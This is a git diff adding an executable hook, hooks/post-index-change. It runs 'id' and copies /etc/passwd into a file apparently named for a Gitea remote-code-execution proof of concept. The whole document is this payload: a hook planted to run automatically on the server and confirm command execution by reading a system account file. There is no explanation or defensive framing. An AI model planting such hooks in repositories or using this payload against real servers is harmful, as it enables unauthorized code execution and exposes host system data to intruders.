diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..f266c3e
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,4 @@
+#!/bin/sh
+id > /tmp/gitea_rce_$$
+cat /etc/passwd >> /tmp/gitea_rce_$$
+echo DONE